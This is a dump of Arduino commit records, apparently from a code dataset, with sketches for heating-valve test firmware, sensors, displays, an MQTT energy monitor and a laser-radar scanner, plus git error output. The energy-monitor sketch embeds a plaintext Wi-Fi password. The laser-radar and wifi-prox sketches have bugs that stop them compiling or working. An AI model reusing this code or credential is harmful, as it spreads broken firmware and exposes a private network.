\"MSG_JSON_MAX_LENGTH too big\"); \/\/ Allow 1 for trailing CRC.\n\n \/\/ Allow space in buffer for:\n \/\/ * buffer offset\/preamble\n \/\/ * max binary length, or max JSON length + 1 for CRC + 1 to allow detection of oversize message\n \/\/ * terminating 0xff\n \/\/ uint8_t buf[STATS_MSG_START_OFFSET + max(FullStatsMessageCore_MAX_BYTES_ON_WIRE, MSG_JSON_MAX_LENGTH+1) + 1];\n \/\/ Buffer need be no larger than leading length byte + typical 64-byte radio module TX buffer limit + optional terminator.\n const uint8_t MSG_BUF_SIZE = 1 + 64 + 1;\n uint8_t buf[MSG_BUF_SIZE];\n \/\/ Send JSON message.\n bool sendingJSONFailed = false; \/\/ Set true and stop attempting JSON send in case of error.\n\n \/\/ Set pointer location based on whether start of message will have preamble\n uint8_t *bptr = buf;\n bptr += STATS_MSG_START_OFFSET;\n \/\/ Where to write the real frame content.\n uint8_t *const realTXFrameStart = bptr;\n\n \/\/ If forcing encryption or if unconditionally suppressed\n \/\/ then suppress the \"@\" ID field entirely,\n \/\/ assuming that the encrypted commands will carry the ID, ie in the 'envelope'.\n ss1.setID(V0p2_SENSOR_TAG_F(\"\"));\n\n \/\/ Managed JSON stats.\n \/\/ Make best use of available bandwidth...\n constexpr bool maximise = true;\n \/\/ Enable \"+\" count field for diagnostic purposes, eg while TX is lossy,\n \/\/ if the primary radio channel does not include a sequence number itself.\n \/\/ Assume that an encrypted channel will provide its own (visible) sequence counter.\n ss1.enableCount(false); \/\/ as encrypted\n ss1.put(TemperatureC16);\n \/\/ OPTIONAL items\n \/\/ Only TX supply voltage for units apparently not mains powered, and TX with low priority as slow changing.\n constexpr uint8_t privacyLevel = OTV0P2BASE::stTXalwaysAll;\n\n \/\/ Buffer to write JSON to before encryption.\n \/\/ Size for JSON in 'O' frame is:\n constexpr uint8_t maxSecureJSONSize = OTRadioLink::ENC_BODY_SMALL_FIXED_PTEXT_MAX_SIZE - 2 + 1;\n \/\/ writeJSON() requires two further bytes including one for the trailing '\\0'.\n uint8_t ptextBuf[maxSecureJSONSize + 2];\n\n \/\/ Redirect JSON output appropriately.\n uint8_t *const bufJSON = ptextBuf;\n const uint8_t bufJSONlen = sizeof(ptextBuf);\n\n \/\/ Number of bytes written for body.\n \/\/ For non-secure, this is the size of the JSON text.\n \/\/ For secure this is overridden with the secure frame size.\n int8_t wrote = 0;\n\n \/\/ Generate JSON text.\n if(!sendingJSONFailed)\n {\n \/\/ Generate JSON and write to appropriate buffer:\n \/\/ direct to TX buffer if not encrypting, else to separate buffer.\n wrote = ss1.writeJSON(bufJSON, bufJSONlen, privacyLevel, maximise);\n if(0 == wrote) { sendingJSONFailed = true; }\n }\n\n \/\/ Push the JSON output to Serial.\n if(!sendingJSONFailed)\n {\n \/\/ Insert synthetic full ID\/@ field for local stats, but no sequence number for now.\n Serial.print(F(\"{\\\"@\\\":\\\"\"));\n for(int i = 0; i < OTV0P2BASE::OpenTRV_Node_ID_Bytes; ++i) { Serial.print(eeprom_read_byte((uint8_t *)V0P2BASE_EE_START_ID+i), HEX); }\n Serial.print(F(\"\\\",\"));\n Serial.write(bufJSON+1, wrote-1);\n Serial.println();\n OTV0P2BASE::flushSerialSCTSensitive(); \/\/ Ensure all flushed since system clock may be messed with...\n }\n\n \/\/ Get the 'building' key for stats sending.\n uint8_t key[16];\n if(!sendingJSONFailed)\n {\n if(!OTV0P2BASE::getPrimaryBuilding16ByteSecretKey(key))\n {\n sendingJSONFailed = true;\n OTV0P2BASE::serialPrintlnAndFlush(F(\"!TX key\")); \/\/ Know why TX failed.\n }\n }\n\n \/\/ If doing encryption\n \/\/ then build encrypted frame from raw JSON.\n if(!sendingJSONFailed)\n {\n \/\/ Explicit-workspace version of encryption.\n const OTRadioLink::SimpleSecureFrame32or0BodyTXBase::fixed32BTextSize12BNonce16BTagSimpleEncWithWorkspace_ptr_t eW = OTAESGCM::fixed32BTextSize12BNonce16BTagSimpleEnc_DEFAULT_WITH_WORKSPACE;\n constexpr uint8_t workspaceSize = OTRadioLink::SimpleSecureFrame32or0BodyTXBase::generateSecureOFrameRawForTX_total_scratch_usage_OTAESGCM_2p0;\n uint8_t workspace[workspaceSize];\n OTV0P2BASE::ScratchSpace sW(workspace, workspaceSize);\n constexpr uint8_t txIDLen = OTRadioLink::ENC_BODY_DEFAULT_ID_BYTES;\n \/\/ When sending on a channel with framing, do not explicitly send the frame length byte.\n const uint8_t offset = framed ? 1 : 0;\n \/\/ Assumed to be at least one free writeable byte ahead of bptr.\n \/\/ Force the valve to call for heat.\n constexpr uint8_t valvePC = 99;\n const uint8_t bodylen = OTRadioLink::SimpleSecureFrame32or0BodyTXV0p2::getInstance().generateSecureOFrameRawForTX(\n realTXFrameStart - offset, sizeof(buf) - (realTXFrameStart-buf) + offset,\n txIDLen, valvePC, (const char *)bufJSON, eW, sW, key);\n sendingJSONFailed = (0 == bodylen);\n wrote = bodylen - offset;\n }\n\n if(!sendingJSONFailed)\n {\n \/\/ Send directly to the primary radio...\n PrimaryRadio.queueToSend(realTXFrameStart, wrote);\n }\n if(neededWaking) { OTV0P2BASE::flushSerialProductive(); OTV0P2BASE::powerDownSerial(); }\n}\n\n\/\/========================================\n\/\/ SETUP\n\/\/========================================\n\n\/\/ Setup routine: runs once after reset.\n\/\/ Does some limited board self-test and will panic() if anything is obviously broken.\nvoid setup()\n{\n \/\/ Set appropriate low-power states, interrupts, etc, ASAP.\n OTV0P2BASE::powerSetup();\n \/\/ IO setup for safety, and to avoid pins floating.\n OTV0P2BASE::IOSetup();\n\n OTV0P2BASE::serialPrintAndFlush(F(\"\\r\\nOpenTRV: \")); \/\/ Leading CRLF to clear leading junk, eg from bootloader.\n V0p2Base_serialPrintlnBuildVersion();\n\n OTV0P2BASE::LED_HEATCALL_ON();\n\n \/\/ Give plenty of time for the XTal to settle.\n delay(1000);\n\n \/\/ Have 32678Hz clock at least running before going any further.\n \/\/ Check that the slow clock is running reasonably OK, and tune the fast one to it.\n if(!::OTV0P2BASE::HWTEST::calibrateInternalOscWithExtOsc()) { panic(F(\"Xtal\")); } \/\/ Async clock not running or can't tune.\n\n \/\/ Initialise the radio, if configured, ASAP because it can suck a lot of power until properly initialised.\n PrimaryRadio.preinit(NULL);\n \/\/ Check that the radio is correctly connected; panic if not...\n if(!PrimaryRadio.configure(nPrimaryRadioChannels, RFM23BConfigs) || !PrimaryRadio.begin()) { panic(F(\"r1\")); }\n\n \/\/ Buttons should not be activated DURING boot for user-facing boards; an activated button implies a fault.\n \/\/ Check buttons not stuck in the activated position.\n if(fastDigitalRead(BUTTON_MODE_L) == LOW) { panic(F(\"b\")); }\n\n \/\/ Collect full set of environmental values before entering loop() in normal mode.\n \/\/ This should also help ensure that sensors are properly initialised.\n\n \/\/ No external sensors are *assumed* present if running alt main loop\n \/\/ This may mean that the alt loop\/POST will have to initialise them explicitly,\n \/\/ and the initial seed entropy may be marginally reduced also.\n const int cV = Supply_cV.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"V: \");\n DEBUG_SERIAL_PRINT(cV);\n DEBUG_SERIAL_PRINTLN();\n const int heat = TemperatureC16.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"T: \");\n DEBUG_SERIAL_PRINT(heat);\n DEBUG_SERIAL_PRINTLN();\n const uint8_t rh = RelHumidity.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"RH%: \");\n DEBUG_SERIAL_PRINT(rh);\n DEBUG_SERIAL_PRINTLN();\n const int light = AmbLight.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"L: \");\n DEBUG_SERIAL_PRINT(light);\n DEBUG_SERIAL_PRINTLN();\n const int tempPot = TempPot.read();\n DEBUG_SERIAL_PRINT_FLASHSTRING(\"temp pot: \");\n DEBUG_SERIAL_PRINT(tempPot);\n DEBUG_SERIAL_PRINTLN();\n\n ValveDirect.read();\n\n \/\/ Initialised: turn main\/heatcall UI LED off.\n OTV0P2BASE::LED_HEATCALL_OFF();\n\n \/\/ Do OpenTRV-specific (late) setup.\n PrimaryRadio.listen(false);\n\n \/\/ Long delay after everything set up to allow a non-sleep power measurement.\n delay(10000);\n}\n\n\/\/========================================\n\/\/ MAIN LOOP\n\/\/========================================\n\/**\n * @brief Sleep in low power mode if not sleeping.\n *\/\nvoid loop()\n{\n static uint8_t tickCounter = 0;\n \/\/ TX every 30 cycles (1 min, assuming 2 second cycles)\n \/\/ Too high for normal use, but convenient for testing purposes.\n if(0 == tickCounter) {\n callForHeatTX();\n tickCounter = 30;\n }\n --tickCounter;\n \n \/\/ Ensure that serial I\/O is off while sleeping.\n OTV0P2BASE::powerDownSerial();\n \/\/ Power down most stuff (except radio for hub RX).\n OTV0P2BASE::minimisePowerWithoutSleep();\n \/\/ Normal long minimal-power sleep until wake-up interrupt.\n \/\/ Rely on interrupt to force quick loop round to I\/O poll.\n OTV0P2BASE::sleepUntilInt();\n \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/hardware\/V0p2_Main_PCB_REV7_DORM1_and_REV8\/testsuite\/201706\/REV7CallForHeat\/REV7CallForHeat.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e2e898f2c6251d7fb4b5b431e7436e670442fd8e","subject":"Re-added with Energia linked folder","message":"Re-added with Energia linked folder\n","repos":"haydenridd\/LEDProject","old_file":"ITG3701 Example Code\/ITG3701 Example Code.ino","new_file":"ITG3701 Example Code\/ITG3701 Example Code.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'ITG3701' did not match any file(s) known to git\nerror: pathspec 'Example' did not match any file(s) known to git\nerror: pathspec 'Code\/ITG3701' did not match any file(s) known to git\nerror: pathspec 'Example' did not match any file(s) known to git\nerror: pathspec 'Code.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"156a11c539d76f78a964942da08131353eea357e","subject":"Added demo arduino sensor project","message":"Added demo arduino sensor project\n","repos":"IncQueryLabs\/viatra-cep-mqtt,IncQueryLabs\/viatra-cep-mqtt,IncQueryLabs\/viatra-cep-mqtt,IncQueryLabs\/viatra-cep-mqtt","old_file":"Sensors\/iot-demo-sensors\/iot-demo-sensors.ino","new_file":"Sensors\/iot-demo-sensors\/iot-demo-sensors.ino","new_contents":"#define DEBOUNCE 10 \/\/ button debouncer, how many ms to debounce, 5+ ms is usually plenty\n\n\/\/ here is where we define the buttons that we'll use. button \"1\" is the first, button \"6\" is the 6th, etc\nbyte buttons[] = {3, 5}; \/\/ 12\nString buttonNames[] = {\"pb1\", \"pb2\"};\n\n\/\/ This handy macro lets us determine how big the array up above is, by checking the size\n#define NUMBUTTONS sizeof(buttons)\n\nbyte potmeters[] = {14}; \/\/ A0-14, A5-19 6\n\nString potmeterNames[] = {\"pot1\"};\n\/\/ This handy macro lets us determine how big the array up above is, by checking the size\n#define NUMPOTMETERS sizeof(potmeters)\n\n\n\n\/\/ we will track if a button is just pressed, just released, or 'currently pressed'\nbyte pressed[NUMBUTTONS];\n\nvoid setup() {\n byte i;\n\n \/\/ set up serial port\n Serial.begin(9600);\n Serial.print(\"Button checker with \");\n Serial.print(NUMBUTTONS, DEC);\n Serial.println(\" buttons\");\n \/\/ pin13 LED\n pinMode(13, OUTPUT);\n\n \/\/ Make input & enable pull-up resistors on switch pins\n for (i=0; i< NUMBUTTONS; i++) {\n pinMode(buttons[i], INPUT);\n digitalWrite(buttons[i], HIGH);\n }\n}\n\nvoid check_switches()\n{\n static byte previousstate[NUMBUTTONS];\n static byte currentstate[NUMBUTTONS];\n static long lasttime;\n byte index;\n if (millis() < lasttime) {\n lasttime = millis(); \/\/ we wrapped around, lets just try again\n }\n\n if ((lasttime + DEBOUNCE) > millis()) {\n return; \/\/ not enough time has passed to debounce\n }\n \/\/ ok we have waited DEBOUNCE milliseconds, lets reset the timer\n lasttime = millis();\n\n for (index = 0; index < NUMBUTTONS; index++) {\n \/*justpressed[index] = 0; \/\/ when we start, we clear out the \"just\" indicators\n justreleased[index] = 0;*\/\n\n currentstate[index] = digitalRead(buttons[index]); \/\/ read the button\n if (currentstate[index] == previousstate[index]) {\n pressed[index] = !currentstate[index]; \/\/ remember, digital HIGH means NOT pressed\n }\n \/\/Serial.println(pressed[index], DEC);\n previousstate[index] = currentstate[index]; \/\/ keep a running tally of the buttons\n }\n}\n\nString getSensorValueJSON(int value){\n return String(\"{\\\"value\\\" : \" + String(value, DEC) + \"}\");\n}\n\nvoid reportButtons(){\n for (byte i = 0; i < NUMBUTTONS; i++) {\n String buttonName = buttonNames[i];\n Serial.print(\"\\\"\" + buttonName + \"\\\" : \");\n if (pressed[i]) {\n Serial.print(getSensorValueJSON(1));\n }else{\n Serial.print(getSensorValueJSON(0));\n }\n if((NUMPOTMETERS != 0) || (NUMPOTMETERS == 0 && i != NUMBUTTONS-1)){\n Serial.print(\", \");\n }\n }\n}\n\nvoid reportPotentiometers(){\n for (byte i = 0; i < NUMPOTMETERS; i++) {\n String btnName = potmeterNames[i];\n Serial.print(\"\\\"\" + btnName + \"\\\" : \");\n int val = analogRead(potmeters[i]);\n Serial.print(getSensorValueJSON(val));\n if(i != NUMPOTMETERS-1){\n Serial.print(\", \");\n }\n }\n}\n\nvoid reportInputStates(){\n Serial.print(\"{\");\n reportButtons();\n reportPotentiometers();\n Serial.println(\"}\");\n}\n\nvoid loop() {\n check_switches(); \/\/ when we check the switches we'll get the current state\n\n reportInputStates();\n \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sensors\/iot-demo-sensors\/iot-demo-sensors.ino' did not match any file(s) known to git\n","license":"epl-1.0","lang":"Arduino"} {"commit":"bfcd3f754ff191de75bbca90dc40824d6dd06245","subject":"Updated main board code","message":"Updated main board code\n","repos":"markwatneyy\/ttt_arduino","old_file":"ttt_arduino.ino","new_file":"ttt_arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/markwatneyy\/ttt_arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"79515938925d3e81c923672f61d339de63b05550","subject":"draw rectangles demo","message":"draw rectangles demo\n","repos":"warefab\/Warefab_TFT","old_file":"examples\/draw_rectangles\/draw_rectangles.ino","new_file":"examples\/draw_rectangles\/draw_rectangles.ino","new_contents":"\n#include <SoftwareSerial.h>\n#include <Warefab_TFT.h>\n\nint x, y, r, g, b;\n\nSoftwareSerial ss_tft(2, 3); \/\/ RX, TX\nWarefab_TFT tft(&ss_tft);\n\nvoid setup() {\n \/\/initialize uart speed, 115200\n tft.begin(115200);\n}\n\nvoid loop() {\n \/\/draw rectangles\n drawRects();\n}\n\nvoid drawRects()\n{\n \/\/initialize colors\n tft.fillScreen(255, 255, 255);\n \/\/rotate 90 degrees\n tft.rotateDisplay(tft.rotate.rotate_90);\n \/\/delay for 5ms\n delay(5);\n \/\/loop drawing random rectangles\n for (uint8_t i = 0; i < 50 ; i++) {\n \/\/random pen color\n r = random(0, 255);\n g = random(0, 255);\n b = random(0, 255);\n tft.brushColor(r, g, b);\n \/\/draw fill round rectangle of random sizer\n tft.fillRectangle(x, y, (x + random(5, 41)), (y + random(5, 41)), 0);\n \/\/set a random position\n x = random(20, 301);\n y = random(20, 221);\n \/\/animate drawing with a 100 ms delay\n delay(50);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/draw_rectangles\/draw_rectangles.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5eeb164ad5b181c47ac5b3910b91869e1878d28e","subject":"Variabler i arduino","message":"Variabler i arduino\n","repos":"DivineChili\/Arduino-For-Noobs","old_file":"examples\/Variabler\/Variabler.ino","new_file":"examples\/Variabler\/Variabler.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DivineChili\/Arduino-For-Noobs.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"61cdfc406e43aedb9e31a422ed0dbc5945be8e8b","subject":"beginnings of Tinyduino sketch","message":"beginnings of Tinyduino sketch\n","repos":"noopkat\/tinyduino-wifi-helloworld","old_file":"sketch\/wifi-prox.ino","new_file":"sketch\/wifi-prox.ino","new_contents":"\/* \n* Tiny WiFi temperature sensor with Arduino, the TMP36 sensor & the CC3000 chip\n* Written by Marco Schwartz for Open Home Automation\n* Further hacked by @noopkat for use with a proximity sensor\n*\/\n\n\/\/ Include required libraries\n#include <Adafruit_CC3000.h>\n#include <ccspi.h>\n#include <SPI.h>\n#include <string.h>\n\/\/#include \"utility\/debug.h\"\n#include<stdlib.h>\n\n\/\/ Define CC3000 chip pins\n#define ADAFRUIT_CC3000_IRQ 2\n#define ADAFRUIT_CC3000_VBAT A3\n#define ADAFRUIT_CC3000_CS 8\n\n\/\/ WiFi network (change with your settings !)\n#define WLAN_SSID \"\" \/\/ cannot be longer than 32 characters!\n#define WLAN_PASS \"\"\n#define WLAN_SECURITY WLAN_SEC_WPA \/\/ This can be WLAN_SEC_UNSEC, WLAN_SEC_WEP, WLAN_SEC_WPA or WLAN_SEC_WPA2\n\n\/\/ Create CC3000 instance\nAdafruit_CC3000 cc3000 = Adafruit_CC3000(ADAFRUIT_CC3000_CS, ADAFRUIT_CC3000_IRQ, ADAFRUIT_CC3000_VBAT, SPI_CLOCK_DIV2);\n \n\/\/ Local server IP, port, and repository (change with your settings !)\nuint32_t ip = cc3000.IP2U32(172,0,0,1);\nint port = 80;\nString repository = \"\/\";\nbyte mac[6];\n\n\/\/ VARIABLES\nint sensorPin = 0; \/\/ Proximity sensor pin A0\npinMode(sensorPin, INPUT);\n\/\/int blinkPin = 13; \/\/ pin to blink led\n\n\n \nvoid setup(void)\n{\n \n Serial.begin(115200);\n \n \/\/ Initialise the CC3000 module\n if (!cc3000.begin())\n {\n while(1);\n }\n \n \/\/ Connect to WiFi network\n cc3000.connectToAP(WLAN_SSID, WLAN_PASS, WLAN_SECURITY);\n Serial.println(\"Connected to WiFi network!\");\n \n \/\/ Check DHCP\n Serial.println(F(\"Request DHCP\"));\n while (!cc3000.checkDHCP())\n {\n delay(100);\n } \n \n \/\/ this is the api call to your software running anywhere\n String request = \"POST \"+ repository + \" HTTP\/1.0\";\n\n}\n\nvoid loop(void)\n{\n \/\/ bool sent = false;\n \/\/ Serial.begin(9600);\n \/\/ int sensorValue = analogRead(sensorPin);\n \/\/ Serial.println(sensorValue);\n\n \/\/ if () {\n \/\/ watch sensor data\n \/\/ if sensor data changes in a way expected of someone crossing the sensor's 'sight', send a request to the api\n\n \/\/ send_request(request);\n \/\/ sent = true;\n }\n}\n\n\/\/ Function to send a TCP request and get the result as a string\nvoid send_request (String request) {\n \n \/\/ Connect \n Serial.println(\"Starting connection to server...\");\n Adafruit_CC3000_Client client = cc3000.connectTCP(ip, port);\n \n \/\/ Send request\n if (client.connected()) {\n client.println(request); \n client.println(F(\"\"));\n Serial.println(\"Connected & Data sent\");\n } \n else {\n Serial.println(F(\"Connection failed\")); \n }\n\n while (client.connected()) {\n while (client.available()) {\n\n \/\/ Read answer\n char c = client.read();\n }\n }\n Serial.println(\"Closing connection\");\n Serial.println(\"\");\n client.close(); \n Serial.println(\"Connection closed.\");\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch\/wifi-prox.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1ef93312036a4905558fa09f19105e4b40126ce7","subject":"initial commit","message":"initial commit\n","repos":"scentelles\/iot,scentelles\/iot,scentelles\/iot","old_file":"examples\/EnergyMonitor\/EnergyMonitor.ino","new_file":"examples\/EnergyMonitor\/EnergyMonitor.ino","new_contents":"#include <PZEM004T.h>\n\n#include \"MqttConnection.h\"\nMqttConnection * myMqtt;\n\n\n\n\/************************* WiFi Access Point *********************************\/\n\n#define WLAN_SSID \"SFR_34A8\"\n#define WLAN_PASS \"ab4ingrograstanstorc\"\n\n\/************************* MQTT *********************************\/\n\n#define MQTT_SERVER \"192.168.1.27\"\n#define MQTT_PORT 1883\n\n#define SENSOR_ID \"EDF\"\n\n\nPZEM004T pzem(D2,D1);\nIPAddress ip(192,168,1,1);\n\nvoid setup() {\n Serial.begin(115200);\n pzem.setAddress(ip);\n myMqtt = new MqttConnection(SENSOR_ID, WLAN_SSID, WLAN_PASS, MQTT_SERVER, MQTT_PORT);\n\n}\n\nvoid loop() {\n\n if (!myMqtt->connected()) {\n myMqtt->reconnect();\n }\n myMqtt->loop();\n\n \n float v = pzem.voltage(ip);\n wdt_reset();\n if (v < 0.0) v = 0.0;\n Serial.print(v);Serial.print(\"V; \");\n myMqtt->publishValue(\"voltage\", (int)v, 1);\n\n\n\n\n\n\n float i = pzem.current(ip);\n wdt_reset();\n if(i >= 0.0){ \n Serial.print(i);Serial.print(\"A; \"); \n myMqtt->publishValue(\"current\", i, 1);\n }\n \n float p = pzem.power(ip);\n wdt_reset();\n if(p >= 0.0){ \n Serial.print(p);Serial.print(\"W; \");\n myMqtt->publishValue(\"power\", p, 1);\n }\n \n float e = pzem.energy(ip);\n wdt_reset();\n if(e >= 0.0){ \n Serial.print(e);Serial.print(\"Wh; \"); \n myMqtt->publishValue(\"energy\", v, 1);\n }\n\n Serial.println();\n\n delay(1000);\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/EnergyMonitor\/EnergyMonitor.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"f684a8950f7392967b5409d44e76fc44768a1b31","subject":"add laser sketch","message":"add laser sketch\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"Arduino\/laser-radar\/laser-radar.ino","new_file":"Arduino\/laser-radar\/laser-radar.ino","new_contents":"#include \"Arduino.h\"\n#include \"Servo.h\"\n#include \"Wire.h\"\n#include \"VL53L0X.h\"\n\n\/\/ Laser\n#define XSHUT_pin4 8\n#define XSHUT_pin3 7\n#define XSHUT_pin2 6\n#define XSHUT_pin1 5\n\n\/\/ADDRESS_DEFAULT 0b0101001 or 41\n\/\/#define Sensor1_newAddress 41 not required address change\n#define Sensor2_newAddress 42\n#define Sensor3_newAddress 43\n#define Sensor4_newAddress 44\n\nVL53L0X Sensor1;\nVL53L0X Sensor2;\nVL53L0X Sensor3;\nVL53L0X Sensor4;\n\n\n\/\/ Servo\nServo ServoMotor;\nconst uint8_t servoPin = 6;\nuint8_t servoRotationAngel = 5;\nconst uint8_t servoRotationAngelFast = 10;\nconst uint8_t servoRotationAngelMedium = 5;\nconst uint8_t servoRotationAngelDetailed = 1;\n\nconst uint8_t seroRotationDurationPerAngle = 2;\n\nenum direction {\n left,\n center,\n right\n};\n\nuint8_t servoPos = 90;\ndirection servoMovement = right;\n\n\/\/ ------------------------------\n\/\/ SETUP\n\/\/ ------------------------------\n\nvoid setup()\n{\n pinMode(XSHUT_pin1, OUTPUT);\n pinMode(XSHUT_pin2, OUTPUT);\n pinMode(XSHUT_pin3, OUTPUT);\n pinMode(XSHUT_pin4, OUTPUT);\n\n Serial.begin(115200);\n\n Wire.begin();\n\n Sensor4.setAddress(Sensor4_newAddress);\n pinMode(XSHUT_pin3, INPUT);\n delay(10);\n\n Sensor3.setAddress(Sensor3_newAddress);\n pinMode(XSHUT_pin2, INPUT);\n delay(10);\n\n Sensor2.setAddress(Sensor2_newAddress);\n pinMode(XSHUT_pin1, INPUT);\n delay(10);\n\n Sensor1.init();\n Sensor2.init();\n Sensor3.init();\n Sensor4.init();\n\n Sensor1.setTimeout(500);\n Sensor2.setTimeout(500);\n Sensor3.setTimeout(500);\n Sensor4.setTimeout(500);\n\n Sensor1.startContinuous();\n Sensor2.startContinuous();\n Sensor3.startContinuous();\n Sensor4.startContinuous();\n\n \/\/ attach servo pin and set to initial direction\n ServoMotor.attach(servoPin, 450, 2400); \/\/ 400, 2600 to fix rotation issues\n ServoMotor.write(servoPos);\n servoRotationAngel = servoRotationAngelMedium;\n}\n\n\nlong GetRange(int id)\n{\n if(id == 1)\n {\n return Sensor1.readRangeContinuousMillimeters();\n }\n\n if(id == 2)\n {\n return Sensor2.readRangeContinuousMillimeters();\n }\n\n if(id == 2)\n {\n return Sensor3.readRangeContinuousMillimeters();\n }\n\n if(id == 2)\n {\n return Sensor4.readRangeContinuousMillimeters();\n }\n\n return 0;\n}\n\n\nuint8_t GetNextServoAngle()\n{\n if(servoPos <= 0)\n {\n servoMovement = right;\n servoPos = 0;\n }\n\n if(servoPos >= 180)\n {\n servoMovement = left;\n servoPos = 180;\n }\n\n if(servoMovement == right)\n {\n servoPos += servoRotationAngel;\n }\n else\n {\n servoPos -= servoRotationAngel;\n }\n\n if(servoPos <= 0) { servoPos = 0; }\n if(servoPos >= 180) { servoPos = 180; }\n\n return servoPos;\n}\n\n\nvoid ReadDataAndSetSpeed()\n{\n String data;\n if (Serial.available() > 0) {\n data = Serial.readStringUntil(';');\n\n if(data == \"fast\")\n {\n servoRotationAngel = servoRotationAngelFast;\n averageScanAmount = averageScanAmountFast;\n return;\n }\n\n if(data == \"medium\")\n {\n servoRotationAngel = servoRotationAngelMedium;\n averageScanAmount = averageScanAmountMedium;\n return;\n }\n\n if(data == \"detail\")\n {\n servoRotationAngel = servoRotationAngelDetailed;\n averageScanAmount = averageScanAmountDetailed;\n return;\n }\n }\n}\n\nvoid SendData(name, position, distance)\n{\n Serial.print(\"Laser\");\n Serial.print(\"|\");\n Serial.print(name);\n Serial.print(\"|\");\n Serial.print(position);\n Serial.print(\"|\");\n Serial.println(distance);\n}\n\n\nvoid loop()\n{\n ReadDataAndSetSpeed();\n\n uint8_t actualServoPos = ServoMotor.read();\n if(servoPos == actualServoPos)\n {\n uint8_t nextAngle = GetNextServoAngle();\n ServoMotor.write(nextAngle);\n delay(seroRotationDurationPerAngle * (abs(nextAngle - actualServoPos)));\n }\n\n long laserOne = GetRange(1);\n long laserTwo = GetRange(2);\n long laserThree = GetRange(3);\n long laserFrour = GetRange(4);\n\n SendData(\"One\", servoPos, laserOne);\n SendData(\"Two\", (servoPos+90%360), laserTwo);\n SendData(\"Three\", (servoPos+180%360), laserThree);\n SendData(\"Four\", (servoPos+270%360), laserFour);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/laser-radar\/laser-radar.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8f31daefe5b0658308482dac3095c702911b0de2","subject":"Tidy up of h-bridge master for sudoac device: https:\/\/github.com\/freephases\/sudoac","message":"Tidy up of h-bridge master for sudoac device: https:\/\/github.com\/freephases\/sudoac\n","repos":"freephases\/lenr-logger","old_file":"hbridge.ino","new_file":"hbridge.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/freephases\/lenr-logger.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"83d54fb2a5fe5c152add95d9923bdfeba567e1f3","subject":"Initial commit","message":"Initial commit\n","repos":"bentglasstube\/bike-sensor,bentglasstube\/bike-sensor,bentglasstube\/bike-sensor","old_file":"bike-sensor.ino","new_file":"bike-sensor.ino","new_contents":"const int PIN_LED = 11;\nconst int PIN_PULSE = 5;\nconst int DEBOUNCE_TIME = 100;\nconst int LED_TIME = 100;\n\nunsigned long last_rev = 0;\nunsigned long led_off = 0;\n\nvoid revolution() {\n unsigned long time = millis();\n long elapsed = time - last_rev;\n if (elapsed > DEBOUNCE_TIME) {\n digitalWrite(PIN_LED, HIGH);\n led_off = time + LED_TIME;\n last_rev = time;\n\n int rpm = 60000 \/ elapsed;\n Serial.println(rpm);\n }\n}\n\nvoid setup() {\n pinMode(PIN_LED, OUTPUT);\n pinMode(PIN_PULSE, INPUT_PULLUP);\n\n Serial.begin(9600);\n\n attachInterrupt(0, revolution, FALLING);\n}\n\nvoid loop() {\n if (millis() > led_off) {\n digitalWrite(PIN_LED, LOW);\n }\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"d9c466c29b25bb529fa871606c2c9ec7546d115c","subject":"Boost: Initial working code","message":"Boost: Initial working code\n","repos":"fnoorian\/Free-buck-boost,fnoorian\/Free-buck-boost,fnoorian\/Free-buck-boost","old_file":"ppt-boost\/ppt-boost.ino","new_file":"ppt-boost\/ppt-boost.ino","new_contents":"\/\/------------------------------------------------------------------------------------------------------\n\/\/\n\/\/ Arduino Peak Power Tracking Solar Charger by Tim Nolan (www.timnolan.com) 5\/1\/09\n\/\/\n\/\/ This software implements my Peak Power Tracking Solar Charger using the Arduino Demilove developement\n\/\/ board. I'm releasing this software and hardware project as open source. It is free of any restiction for\n\/\/ anyone to use. All I ask is that if you use any of my hardware or software or ideas from this project\n\/\/ is that you give me credit and add a link to my website www.timnolan.com to your documentation. \n\/\/ Thank you.\n\/\/\n\/\/ 5\/1\/09 v1.00 First development version. Just getting something to work.\n\/\/\n\/\/\n\/\/------------------------------------------------------------------------------------------------------\n\n#include 